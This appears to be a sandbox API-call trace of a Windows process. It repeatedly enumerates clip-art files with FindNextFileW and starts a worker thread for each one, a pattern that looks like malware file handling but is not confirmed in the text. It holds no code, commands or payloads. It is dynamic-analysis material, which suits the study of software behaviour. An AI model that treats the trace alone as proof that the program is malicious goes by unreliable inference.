	[0250.928] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1
	[0250.928] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ee8
	[0250.930] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.931] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1
	[0250.931] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eec
	[0250.933] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.934] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1
	[0250.934] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef0
	[0250.936] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.936] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1
	[0250.936] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef4
	[0250.939] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.940] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1
	[0250.940] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef8
	[0250.943] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.943] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1
	[0250.943] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1efc
	[0250.945] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.945] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1
	[0250.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f00
	[0250.947] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.948] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1
	[0250.948] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f04
	[0250.950] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.951] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0297759.WMF", cAlternateFileName="")) returned 1
	[0250.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f08
	[0251.240] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.277] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0300862.WMF", cAlternateFileName="")) returned 1
	[0251.280] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0c
	[0251.287] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.288] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0301044.WMF", cAlternateFileName="")) returned 1
	[0251.288] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f10
	[0251.294] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.294] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0301052.WMF", cAlternateFileName="")) returned 1
	[0251.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f14
	[0251.297] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.298] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0301418.WMF", cAlternateFileName="")) returned 1
	[0251.298] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f18
	[0251.301] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.302] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0301432.WMF", cAlternateFileName="")) returned 1
	[0251.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f1c
	[0251.304] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.305] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1
	[0251.305] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f20
	[0251.308] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.308] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1
	[0251.309] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f24
	[0251.311] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.312] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1
	[0251.312] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f28
	[0251.314] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.315] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1
	[0251.315] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f2c
	[0251.318] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.319] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1
	[0251.319] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f30
	[0251.579] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.580] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1
	[0251.580] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e20
	[0251.582] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.583] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1
	[0251.583] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f34
	[0251.585] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.586] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1
	[0251.586] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f38
	[0251.588] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.589] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1
	[0251.589] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f3c
	[0251.591] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.591] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1
	[0251.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f40
	[0251.595] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.596] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1
	[0251.596] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f44
	[0251.599] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.599] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309902.WMF", cAlternateFileName="")) returned 1
	[0251.600] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f48
	[0251.602] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.602] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309904.WMF", cAlternateFileName="")) returned 1
	[0251.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4c
	[0251.605] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
